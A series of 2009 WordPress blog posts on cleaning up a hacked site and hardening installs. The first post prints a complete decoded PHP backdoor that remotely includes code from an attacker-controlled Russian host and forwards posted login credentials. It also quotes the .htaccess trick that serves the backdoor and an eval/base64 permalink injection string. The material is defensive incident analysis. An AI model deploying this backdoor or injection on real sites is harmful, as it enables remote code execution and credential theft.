The same project that led to the post Loading WordPress From index.php involved cleaning up after a hacking incident. In fact, that’s what the initial work order was for.

This blog was hit recently by the same attack that has been in the news for the last few days. Lorelle on WordPress wrote some things about it:

There are two clues that your WordPress site has been attacked.

There are strange additions to the pretty permalinks, such as example.com/category/post-title/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/. The keywords are “eval” and “base64_decode.”

The second clue is that a “back door” was created by a “hidden” Administrator. Check your site users for “Administrator (2)” or a name you do not recognize. You will probably be unable to access that account, but Journey Etc. has a possible solution.

This blog was different in that there were no other admin accounts created. The same code was appearing in permalinks ( and was, indeed, shown in Settings -> Permalinks ).

Another symptom of this type of general attack are posts that are filled with spam links enclosed within HTML comment tags. You’ll not see them, but Google does.

Looking a little deeper, I found evidence of another previous hack job. The server error log contained hundreds of these entries:

[Wed Sep  8 11:40:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/downlaod.nod.32.php
[Wed Sep  8 11:38:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/instalation.com.php
[Wed Sep  8 11:38:04 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/muonline.win_mu.php
[Wed Sep  8 11:36:19 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/DV-driver.crack.php
[Wed Sep  8 11:35:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/koolmoves.5.key.php
[Wed Sep  8 11:34:34 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/inurl:.free.xxx.php
[Wed Sep  8 11:33:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crak.do.flash.5.php
[Wed Sep  8 11:32:23 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/wow.1.10.2.enus.php
[Wed Sep  8 11:31:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/torrent.stylexp.php
[Wed Sep  8 11:28:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crack.for.harry.php

WTF? 66.249.71.154, according to reverse IP lookup, is Googlebot. Why is Googlebot trying to load these files? Still haven’t found the answer to THAT question. But what I find next begins to shed some light…

I poke around in the filesystem, and I find a number of folders within the WordPress wp-content folder that had extra files added to them (including the plugins/podpress folder):

.htaccess
date.php
time.php
include.php

The filenames between the folders were all different, with the exception that they all had an .htaccess file. Here’s what was in .htaccess file in the wp-content/header folder:

Options -MultiViews

ErrorDocument 404 //wp-content/header/time.php

So what’s happening is that any request for http://domain.com/wp-content/themes/header/anyfilename.php would result in time.php being served as the 404 page.

And time.php (along with all the other added php files) is a nasty little bugger:

<?php
error_reporting(0);
$p="bcjihzzazbzgc";
eval(base64_decode("Y2xhc3MgbmV3aH... more characters here, several K's worth ... R0cHsNCnZhciAkZnVsbX0="));
?>

So the code turns off error reporting, then says to eval (run) the code enclosed in quote marks after base64 decoding. I haven’t taken the time to figure out what the class that the file defines does, but somehow I don’t think it’s anything nice. After decoding, this is the file contents:

<?php
class newhttp {var $fullurl;var $p_url;var $conn_id;var $flushed;var $mode = 4;var $defmode;var $redirects = 0;var $binary;var $options;var $stat = array('dev' => 0,'ino' => 0,'mode' => 0,'nlink' => 1,'uid' => 0,'gid' => 0,'rdev' => -1,'size' => 0,'atime' => 0,'mtime' => 0,'ctime' => 0,'blksize' => -1,'blocks' => 0);
function error($msg='not connected') {if ($this->options & STREAM_REPORT_ERRORS) {trigger_error($msg, E_USER_WARNING);}return false;}
function stream_open($path, $mode, $options, $opened_path) {$this->fullurl = $path;$this->options = $options;$this->defmode = $mode;$url = parse_url($path);if (empty($url['host'])) {return $this->error('missing host name');}$this->conn_id = fsockopen($url['host'], (empty($url['port']) ? 80 : intval($url['port'])), $errno, $errstr, 2);if (!$this->conn_id) {return false;} if (empty($url['path'])) {$url['path'] = '/';}$this->p_url = $url;$this->flushed = false;if ($mode[0] != 'r' || (strpos($mode, '+') !== false)) {$this->mode += 2;}$this->binary = (strpos($mode, 'b') !== false);$c = $this->context();if (!isset($c['method'])) {stream_context_set_option($this->context, 'http', 'method', 'GET');}if (!isset($c['header'])) {stream_context_set_option($this->context, 'http', 'header', '');}if (!isset($c['user_agent'])) {stream_context_set_option($this->context, 'http', 'user_agent', ini_get('user_agent'));}if (!isset($c['content'])) {stream_context_set_option($this->context, 'http', 'content', '');}if (!isset($c['max_redirects'])) {stream_context_set_option($this->context, 'http', 'max_redirects', 5);}return true;}
function stream_close() { if ($this->conn_id) { fclose($this->conn_id);$this->conn_id = null;} }
function stream_read($bytes) { if (!$this->conn_id) { return $this->error();} if (!$this->flushed && !$this->stream_flush()) { return false;} if (feof($this->conn_id)) { return '';} $bytes = max(1,$bytes);if ($this->binary) { return fread($this->conn_id, $bytes);} else { return fgets($this->conn_id, $bytes);} }
function stream_write($data) { if (!$this->conn_id) { return $this->error();} if (!$this->mode & 2) { return $this->error('Stream is in read-only mode');} $c = $this->context();stream_context_set_option($this->context, 'http', 'method', (($this->defmode[0] == 'x') ? 'PUT' : 'POST'));if (stream_context_set_option($this->context, 'http', 'content', $c['content'].$data)) { return strlen($data);} return 0;}
function stream_eof() { if (!$this->conn_id) { return true;} if (!$this->flushed) { return false;} return feof($this->conn_id);}
function stream_seek($offset, $whence) { return false;}
function stream_tell() { return 0;}
function stream_flush() { if ($this->flushed) { return false;} if (!$this->conn_id) { return $this->error();} $c = $this->context();$this->flushed = true;$RequestHeaders = array($c['method'].' '.$this->p_url['path'].(empty($this->p_url['query']) ? '' : '?'.$this->p_url['query']).' HTTP/1.0', 'HOST: '.$this->p_url['host'], 'User-Agent: '.$c['user_agent'].' StreamReader' );if (!empty($c['header'])) { $RequestHeaders[] = $c['header'];} if (!empty($c['content'])) { if ($c['method'] == 'PUT') { $RequestHeaders[] = 'Content-Type: '.($this->binary ? 'application/octet-stream' : 'text/plain');} else { $RequestHeaders[] = 'Content-Type: application/x-www-form-urlencoded';} $RequestHeaders[] = 'Content-Length: '.strlen($c['content']);} $RequestHeaders[] = 'Connection: close';if (fwrite($this->conn_id, implode("\r\n", $RequestHeaders)."\r\n\r\n") === false) { return false;} if (!empty($c['content']) && fwrite($this->conn_id, $c['content']) === false) { return false;} global $http_response_header;$http_response_header = fgets($this->conn_id, 300);$data = rtrim($http_response_header);preg_match('#.* ([0-9]+) (.*)#i', $data, $head);if (($head[1] >= 301 && $head[1] <= 303) || $head[1] == 307) { $data = rtrim(fgets($this->conn_id, 300));while (!empty($data)) { if (strpos($data, 'Location: ') !== false) { $new_location = trim(str_replace('Location: ', '', $data));break;} $data = rtrim(fgets($this->conn_id, 300));} trigger_error($this->fullurl.' '.$head[2].': '.$new_location, E_USER_NOTICE);$this->stream_close();return ($c['max_redirects'] > $this->redirects++ && $this->stream_open($new_location, $this->defmode, $this->options, null) && $this->stream_flush());} $data = rtrim(fgets($this->conn_id, 1024));while (!empty($data)) { $http_response_header .= $data."\r\n";if (strpos($data,'Content-Length: ') !== false) { $this->stat['size'] = trim(str_replace('Content-Length: ', '', $data));} elseif (strpos($data,'Date: ') !== false) { $this->stat['atime'] = strtotime(str_replace('Date: ', '', $data));} elseif (strpos($data,'Last-Modified: ') !== false) { $this->stat['mtime'] = strtotime(str_replace('Last-Modified: ', '', $data));} $data = rtrim(fgets($this->conn_id, 1024));} if ($head[1] >= 400) { trigger_error($this->fullurl.' '.$head[2], E_USER_WARNING);return false;} if ($head[1] == 304) { trigger_error($this->fullurl.' '.$head[2], E_USER_NOTICE);return false;} return true;}
function stream_stat() { $this->stream_flush();return $this->stat;}
function dir_opendir($path, $options) { return false;}
function dir_readdir() { return '';}
function dir_rewinddir() { return '';}
function dir_closedir() { return;}
function url_stat($path, $flags) { return array();}
function context() { if (!$this->context) { $this->context = stream_context_create();} $c = stream_context_get_options($this->context);return (isset($c['http']) ? $c['http'] : array());}}
if(isset($_POST["l"]) and isset($_POST["p"])){if(isset($_POST["input"])){$user_auth="&l=".base64_encode($_POST["l"])."&p=".base64_encode(md5($_POST["p"]));} else {$user_auth="&l=".$_POST["l"]."&p=".$_POST["p"];}} else {$user_auth="";}if(!isset($_POST["log_flg"])){$log_flg="&log";}$rkht=1;if(version_compare(PHP_VERSION,'5.2','>=')){if(ini_get('allow_url_include')){$rkht=1;}else{$rkht=0;}}if($rkht==1){if(ini_get('allow_url_fopen')){$rkht=1;}else{$rkht=0;}}$v=$p.base64_decode("LnVzZXJzLmJpc2hlbGwucnU=")."/?r_addr=".sprintf("%u", ip2long(getenv("REMOTE_ADDR")))."&url=".base64_encode($_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]).$user_auth.$log_flg;if($rkht==1){if(!@include_once(base64_decode("aHR0cDovLw==").$v)){}}else{stream_wrapper_register('http2','newhttp');if(!@include_once(base64_decode("aHR0cDI6Ly8=").$v)){}}
?>

Anyway, that’s what I found, that’s what I had to clean up. Six and a half hours to go through all of the files looking for this thing, cleaning up as I went.

UPDATE:

Since writing this post, I’ve completed 4 more site cleanups — each averaging over 4 hours. Gets rather expensive, guys and girls.

Please keep your WordPress installs up to date. That’s the most efficient way to guard against this kind of maliciousness.

The last few days have seen a rash of hacker attacks on WordPress blogs, with isolated reports going back a month or more. Without exception, as far as I can tell, the successful attacks were on blogs running outdated older versions of WordPress. The latest exploits involve hidden admin users and permalinks polluted with javascript code, outlined in these posts on the WordPress support forum:

http://wordpress.org/support/topic/307652
http://wordpress.org/support/topic/297639
http://wordpress.org/support/topic/307518

WP 2.8.3 and 2.8.4 are NOT vulnerable to this exploit. If you’ve been hacked any time in the last month, and you’re running pre-2.8.3 software, the monkey’s on YOUR back. If you were hacked and running up-to-date version of WP, send the details to security@wordpress.org please.

If you’ve been lax and haven’t upgraded to the latest version, don’t do it until you’ve determined whether or not you’ve already been invaded. If you have, clean it up first, then upgrade. (Be sure you read the “Beyond Upgrading” section at the end of this post)

How To Tell If You’ve Been Hacked

Two clues: check your permalinks, check your administrator users.

Permalinks: from your front page, hover over a link to a single post. Look in the status bar at the bottom of your browser. If you see text like ‘mypost/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/‘ then you’ve been had.

Log into your dashboard, go to the Users->Authors and Users page. At the top, you’ll see links that let you display users by their status. Look at the Administrator (x) link. How many admins do you have on your blog? If you’ve been hacked, the number in parentheses will be one higher than your actual admin count. In other words, if you’re a single-person blogger, you’ll see (2) for the Administrator count.

There are a couple of other hacks out there that aren’t related to this one; we’ll cover those in a little bit.

What To Do If You’ve Been Hacked

I’m going to be right up front with you — this one isn’t an easy one to clean up.

Step #1: clean up your permalink structure. Hover over a link to a post on your blog, and make a note of your permalink structure. The two most popular permalink structures are ‘day – name’, i.e. http://ilikewordpress.com/2009/09/06/sample-post/ or ‘month-name’, i.e. http://ilikewordpress.com/2009/09/sample-post/ . Some more advanced users may have different setups.

In your Dashboard, go to Settings -> Permalinks. In the input box, delete all the malicious code. What you leave will vary, determined by what your permalink structure was. If you’re using one of the two ‘standard’ structures, select a different one, then reselect your original, then click the Update button. If you’re using a custom structure ( like I am on ilikewordpress.com ), you’ll need to clear the input box and enter the proper tags, i.e. /%post_id%/%postname%/ like I have here.

Step #2: get rid of the extra administrator. This is a little trickier. There are two ways to do this, first is through your Authors & Users page, the second is directly through the database.

Method #1, through the Authors & Users page: follow the instructions here from Journey Etc. to clean out the malicious user.

Method #2, directly through the database, is a little more complicated. Contact me if you want instructions on how to do it. Generally, unless you have other issues, it’s much easier to use Method #1.

Step #3: upgrade your WordPress software.

If you’re stuck with using FTP, follow these upgrade instructions from the WordPress Codex.

If you’re lucky enough ( or had enough foresight ) to be on hosting that gives you shell access, here’s a 5 minute upgrade path:

Log into your hosting account through your SSH client. Navigate to your WordPress folder. Do the following (don’t do the lines prefaced by ## ):

## move config.php out of the way

mv wp-config.php wp-config.php.bak

## get rid of existing WP files

rm -rf wp-includes wp-admin wp-*.php xmlrpc.php

## get new wordpress files

wget http://wordpress.org/latest.zip

## uncompress

unzip latest.zip

## unzipped files were stored in /wordpress, copy from there

cp -R wordpress/* .

## get rid of zip and wordpress dir

rm -rf wordpress latest.zip

## restore config

mv wp-config.php.bak wp-config.php

## done!

If you’ve followed the upgrade path through several versions, it is essential that you upgrade your wp-config.php file to the latest version that contains the authentication keys.

If you want to do it directly on your server through vim, you can, but it’s probably easier to make a new config file and upload it through FTP.

Beyond Upgrading

After you’ve upgraded your WordPress software, you’ll want to make sure you’re doing everything you can to keep this from happening again. Unless, of course, you like cleaning up after these people.

To start, review Michael VanDeMar’s post on How to Completely Clean Your Hacked WordPress Installation. Much good info there.

Second, install the WP Security Scan plugin and use it.

Third, don’t do stupid things. Use strong passwords, upgrade when new releases come out. They’re not just eye candy.

A number of people have asked me for some more detail on how to implement some of the suggestions I made in this post. So, here is the first in the series of in-depth tutorials on how to better secure your WordPress blog.

It’s important to secure your WordPress blog. We’re bombarded daily with tales of worms, virii, and Trojan Horsies. Secure this! Lockdown that! Protect yourself! Fortunately, the chances of your self-hosted WordPress blog are fairly slim, but it does happen. This is the first post in a series of how you can tighten down the security of your blog.

Step #1: Sign the online petition at http://shipthemoff.com to reopen Devil’s Island as a penal colony, and send all convicted hackers there to fend for themselves (remember Papillon?).

All right, so we can’t do that. SO, the first thing you should do is get rid of the default ‘admin’ user account that WordPress so kindly sets up for you when you install WordPress. You can do it in a few simple steps:

1. create a new user account
2. log out and log in under the new name
3. delete the ‘admin’ account

Here’s how.

First step: always the very first step when you’re messing with important parts of your blog – backup your database! (I’ll be showing you how to do that in a future post)

After you’ve backed up your database, continue on:

In your dashboard, find Users and expand it. Click on Add New.

• on the Add New screen, enter your details, using a new username. Pick a username that isn’t obvious. If you really want to go all out, you can make up a username that mimics a password for effectiveness: mix upper and lower case letters and numbers (you can’t use symbols like ! ^ or @ in a username) and don’t use words that can be found in the dictionary.
• enter your email address, and your website address (address is optional)
• enter a new password twice. Get really creative with your password. Use at least 8 characters, preferably 12, and mix upper- and lower-case letters, numbers, and punctuation symbols, and don’t use words that can be found in the dictionary. Use something like JpXM20&33tY!89.
• be sure to set the new user’s role to ‘Administrator’
• when you’re done, click the ‘Add User’ button
• at the top right corner of your window, click the ‘Log Out’ button to log out of your admin session.

Now, you’ll need to log back in as the new user you just created. If you did everything correctly, your dashboard will look identical to the admin user. If you  don’t see all of the menu options on the left, you probably didn’t set your new user up as an Administrator.

After you’ve logged back in and everything looks kosher, you’ll need to delete the original admin account. Don’t worry, you won’t be deleting your existing posts – unless you hit the wrong button

Click on Authors & Users again. Hover over the admin avatar, and you’ll see a ‘delete’ link (hint: if you don’t see that link, you’re still logged in as ‘admin’). Click.

The next screen allows you to either delete all posts and links associated to the admin user, or to assign them to the new user. Don’t delete all of your posts! (Personally, I think the ‘reassign’ option should be pre-selected, but that’s fodder for another day). Click the radio button to assign existing posts and links to another user, and choose your newly-created user from the dropdown box.

Click the ‘Confirm Deletion’ button, and WordPress will delete the admin account and assign the posts and links to your new account.

Next, click on the Your Profile link and complete your profile, including the dropdown box of how you want to display your name as an author.

In case of disaster:

If you managed, in the delete step, to delete all of your posts, it’s a relatively simple thing to restore them. You will, though, need to know a little bit about how to use your hosting provider’s MySQL administration tool (most likely phpMyAdmin, but yymv). More on how to restore from a backup in a future article.

DANGER! WARNING! DISASTER IS COMING!
YOUR WORDPRESS BLOG IS VULNERABLE!

The simple fact is that despite the scare tactics, it’s extremely unlikely that your WordPress blog is going to be the victim of an attack. Even if it is, if you use some common sense, it won’t be a complete disaster. The world won’t end. The sky won’t fall.

There are a few things you can do to protect your blog and its contents. They don’t take very long, and can make your blog much less vulnerable to outside attack. For the most part, I’m not going to repeat the how-tos of these simple protections. That’s what Google is for.

Before you do anything, make a backup of your database and files! You can install and use the WP-DB-Backup plugin, but I prefer doing it myself through my hosting provider‘s cPanel interface. Actually, I have a server cron job set up to automatically back up my WordPress databases, but that’s fodder for another article…

In no particular order:

Know who wrote your plugin. Do some research before you just slap up any old plugin. Plugins have full access to your WordPress installation. A badly-written or malicious plugin can destroy your blog.

Make sure you’re using the most current version of WordPress. A simple peek at your dashboard will tell you whether you’re current or not. The latest stable release version of WordPress can be downloaded here.

Remove the version meta tag from the header section of your theme. Yes, I know it says “Please leave for tracking purposes” or somesuch, but would you rather help with tracking or have your blog hacked?

Change your accounts. Everybody knows that WordPress’s famous “5-minute installation” produces an initial account with the username ‘admin’ and a generated password. Do yourself a very large favor–before you do anything else on your new blog, get rid of that admin user. Set up an account heirarchy much like Linux espouses, i.e. a ‘super-user’ administrator, and a normal account with minimal permissions. Here’s how:

• login as ‘admin’
• create a new ‘Administrator’ account. Be a hacker’s PITA– create a username in the same style as a good password–upper- and lower-case characters, numerals, and symbols. Create your password the same way. Brute-forcing a username/password combo like that would take forever.
• create your ‘Author’ account. Us this account for making your regular posts. Use the same technique to create the username/password as you did on the Admin account. Only use your Administrator account when you need to.

Prevent directory listings. Different server setups take different solutions, so use the one appropriate for your hosting setup. But do it. Do it now. Nothing makes it easier to exploit a plugin vulnerability than to know which plugin versions you’re using.

Be secretive. Don’t blare out to the world that “these are the fantastic plugins I’m using”. I mean, it’s obvious enough anyway but why make it easier?

Exclude the nice robots from your files. Use a comprehensive robots.txt file that excludes the core WordPress files and folders. There is no reason for allowing your files to be indexed–any of them. Your WordPress site exists in the database, not in the server’s filesystem. The only exception to that may be your image files, if you want Google to know about them. Of course, bad bots will ignore the robots.txt file, but we do what we can.

Don’t use the vulnerable legacy search code. Make sure your theme has updated the code in the search results page to remove the vulnerability that existed by passing an unfiltered search term. Google for more information.

Listen–if you use some common sense and employ some best-practices security, odds are extremely thin that you’ll be the victim of an attack. If you are, delete your install, reinstall from your backups (you DO have those, don’t you?) and carry on.